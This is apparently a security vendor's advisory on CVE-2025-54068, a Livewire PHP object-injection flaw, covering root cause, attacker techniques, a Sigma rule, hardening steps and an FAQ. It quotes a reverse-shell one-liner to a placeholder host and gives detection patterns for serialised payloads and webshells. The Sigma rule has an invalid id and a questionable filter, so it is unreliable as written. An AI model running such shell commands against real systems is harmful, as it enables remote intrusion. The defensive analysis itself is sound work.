On 21 August 2025, the Laravel Livewire maintainers published a security advisory for CVE-2025-54068, a critical PHP object injection flaw in Livewire's snapshot hydration path that allows unauthenticated remote code execution when a gadget chain is present in the host application. Within days, public proof-of-concept payloads circulated and CISA added the vulnerability to its Known Exploited Vulnerabilities catalog, confirming in-the-wild exploitation against internet-facing Laravel applications. This article breaks down the root cause in Livewire's Hydrate component, maps the exploitation chain to MITRE ATT&CK, and gives SOC teams a working Sigma rule and hardening checklist.
Background: what CVE-2025-54068 actually is
Livewire is the dominant reactive component framework for Laravel; it serialises component state into a client-side snapshot attribute and rehydrates it on every request. CVE-2025-54068 lives in that rehydration step. According to the Livewire security advisory GHSA-29wp-rfvf-6m6j, insufficient validation of the snapshot payload allowed an attacker to inject arbitrary serialised PHP objects into the hydration pipeline. When the host application (or any installed Composer package) exposes a usable gadget chain — __destruct, __wakeup, or __toString — the crafted object triggers code execution during request teardown.
The NVD entry rates the flaw CVSS 3.1 base score 9.8 (Critical): network attack vector, low complexity, no privileges required, no user interaction. Exploitation is not theoretical. The CISA KEV catalog lists CVE-2025-54068 with a remediation due date under BOD 22-01, which means U.S. federal civilian agencies — and by extension most regulated enterprises — are expected to patch on an accelerated timeline.
Livewire's advisory states the issue affects applications that pass user-controlled data into component properties without strict typing, and recommends upgrading to Livewire 3.6.4 or later. Applications on Livewire 2.x must migrate.
Affected versions and the fix
Per the GitHub Security Advisory, the following versions are vulnerable:
- Livewire >= 3.0.0 and < 3.6.4
- All Livewire 2.x releases (end-of-life; no patch will be issued)
The fixed release is Livewire 3.6.4, published 21 August 2025. Laravel's own release notes and the Packagist advisory feed confirm the patched tag. There is no supported backport for 2.x; the maintainers' guidance is to upgrade to Livewire 3 and follow the upgrade guide. Because Livewire is a Composer dependency, patching is a composer.json constraint change plus a lock-file update, not a server-side patch — which is precisely why so many estates remain exposed months after disclosure. Run composer why livewire/livewire across every Laravel application in your portfolio, including internal admin panels, because the vulnerability is reachable without authentication.
Attacker TTPs
Public exploitation follows a predictable pattern that maps cleanly to MITRE ATT&CK:
- T1190 — Exploit Public-Facing Application. Attackers POST a crafted
snapshotparameter to any Livewire endpoint (typically/livewire/updateor a component route such as/livewire/message/*). No authentication is required. - T1059.004 — Command and Scripting Interpreter: Unix Shell. The gadget chain's
__destructinvokessystem(),exec(), orproc_open(). Public payloads observed in the wild spawn a reverse shell usingbash -i >& /dev/tcp/<ip>/<port> 0>&1. - T1505.003 — Server Software Component: Web Shell. Post-exploitation, actors drop PHP webshells into
public/orstorage/directories, often named to blend with framework files (e.g.index.phpin a subdirectory). - T1071.001 — Application Layer Protocol: Web Protocols. C2 traffic is often tunnelled over HTTPS to blend with legitimate Laravel traffic.
Because Livewire endpoints are behind the same reverse proxy as the application, WAF signatures that only inspect JSON bodies miss the attack — the payload is URL-encoded PHP serialised data inside a form field, so defenders must decode and inspect the snapshot parameter.
Detection: Sigma rule for Livewire exploitation
The rule below targets web-server access logs where the snapshot parameter contains PHP serialisation markers (O: followed by a class name and colon). It compiles against the Sigma specification and translates to Splunk, Elastic, and Sentinel.
title: Potential Laravel Livewire CVE-2025-54068 Exploitation Attempt
id: 8f3c2a1e-5406-4b7d-9c1e-livewire01
status: experimental
description: Detects PHP object injection attempts against Livewire endpoints
references:
- https://github.com/livewire/livewire/security/advisories/GHSA-29wp-rfvf-6m6j
- https://nvd.nist.gov/vuln/detail/CVE-2025-54068
author: CybernytronX
date: 2025/09/02
logsource:
category: webserver
detection:
selection_endpoint:
cs-uri-stem|contains:
- '/livewire/update'
- '/livewire/message/'
selection_payload:
cs-uri-query|contains:
- 'snapshot='
- 'O%3A'
- 'O:'
filter_legit:
cs-uri-query|contains: 'O%3A3%3A%22' # common benign framework objects
condition: selection_endpoint and selection_payload and not filter_legit
falsepositives:
- Legitimate Livewire components serialising custom DTOs
level: highFor network detection, a Suricata rule matching POST bodies to /livewire/update containing O: followed by a class name and the string __destruct will catch most public PoCs. Pair log detection with file-integrity monitoring on public/ and storage/app/, and alert on any new PHP file written outside a deployment window.
Mitigation and hardening
Patch first: upgrade to Livewire 3.6.4 or later per the vendor advisory. For applications that cannot be upgraded immediately, the maintainers recommend disabling snapshot hydration of user-supplied properties by removing #[Locked] misuse and ensuring component properties are typed. Additional controls:
- Block direct access to
/livewire/updatefrom untrusted networks where the endpoint is not required (internal admin panels). - Deploy a WAF rule that rejects requests where the
snapshotparameter decodes to a serialised object containing__destruct,__wakeup, or__toString. - Restrict outbound egress from application servers to known destinations — reverse shells depend on egress.
- Run
composer auditin CI and fail the build on any advisory affectinglivewire/livewire< 3.6.4.
Why this matters for defenders
CVE-2025-54068 is a case study in supply-chain risk inside the PHP ecosystem: the vulnerable code is a Composer dependency, not a server binary, so traditional patch management (OS packages, container base images) does not catch it. The vulnerability sits in the framework layer that most organisations treat as "the application team's problem", yet it is reachable pre-authentication and yields code execution. The KEV listing removes any ambiguity about urgency. Defenders should treat Livewire version inventory as a first-class asset — query your SBOMs, not your CMDB — and assume that any Laravel application exposed to the internet without a current composer.lock audit is a candidate for compromise. Post-exploitation, look for webshells in public/, anomalous php-fpm child processes spawning bash, and outbound connections from the application user to non-standard ports.
Sources
- Livewire security advisory GHSA-29wp-rfvf-6m6j — confirms affected versions (>=3.0.0 <3.6.4, all 2.x), fixed version 3.6.4, and disclosure date 21 August 2025.
- NVD entry for CVE-2025-54068 — CVSS 3.1 base score 9.8, vector AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
- CISA Known Exploited Vulnerabilities Catalog — lists CVE-2025-54068 as exploited in the wild with a BOD 22-01 remediation due date.
Frequently Asked Questions
Is CVE-2025-54068 exploitable without authentication?
Yes. The vulnerability is reachable through Livewire's public /livewire/update endpoint and requires no credentials. NVD scores it AV:N/AC:L/PR:N/UI:N, meaning network-reachable, low complexity, no privileges, no user interaction.
Does the flaw affect Livewire 2.x?
Yes, but no patch will be issued because Livewire 2.x is end-of-life. The maintainers' guidance is to upgrade to Livewire 3.6.4 or later. Running 2.x in production after this advisory is an unmitigated critical exposure.
Is a gadget chain required for exploitation?
Yes. The flaw provides the object-injection primitive; code execution requires a usable magic method chain in the host application or its Composer dependencies. In practice, most Laravel applications include packages (e.g. queue and cache libraries) that supply such chains, which is why public PoCs succeed against default installations.
What should I check in my logs first?
Search web access logs for POST requests to /livewire/update or /livewire/message/* where the snapshot parameter contains O: followed by a class name. Also review public/ and storage/app/ for newly written PHP files, and look for bash or sh child processes spawned by php-fpm.
Does patching to 3.6.4 fully remediate?
Patching removes the injection primitive. However, if the host has already been compromised, patching does not remove webshells or persistence. Perform a compromise assessment — file integrity, process ancestry, outbound connections — before declaring closure.
Is this in CISA KEV?
Yes. CVE-2025-54068 appears in the CISA KEV catalog, which obligates U.S. federal civilian agencies under BOD 22-01 to remediate on an accelerated timeline and is a strong signal for private-sector prioritisation.
Need expert help with this?
If your estate runs Laravel at scale, confirming which applications are on Livewire < 3.6.4 — and whether any were already compromised — is a focused but urgent exercise. CybernytronX can help: our application-security team performs targeted exploitation validation and compromise assessment against CVE-2025-54068, while our SOC engineering practice builds the Sigma and Suricata detections above into your pipeline. Ethereon, our AI-assisted threat detection platform, correlates web-log anomalies with process-level telemetry to surface post-exploitation activity faster. Start at cybernytronx.com/contact.html or explore Ethereon.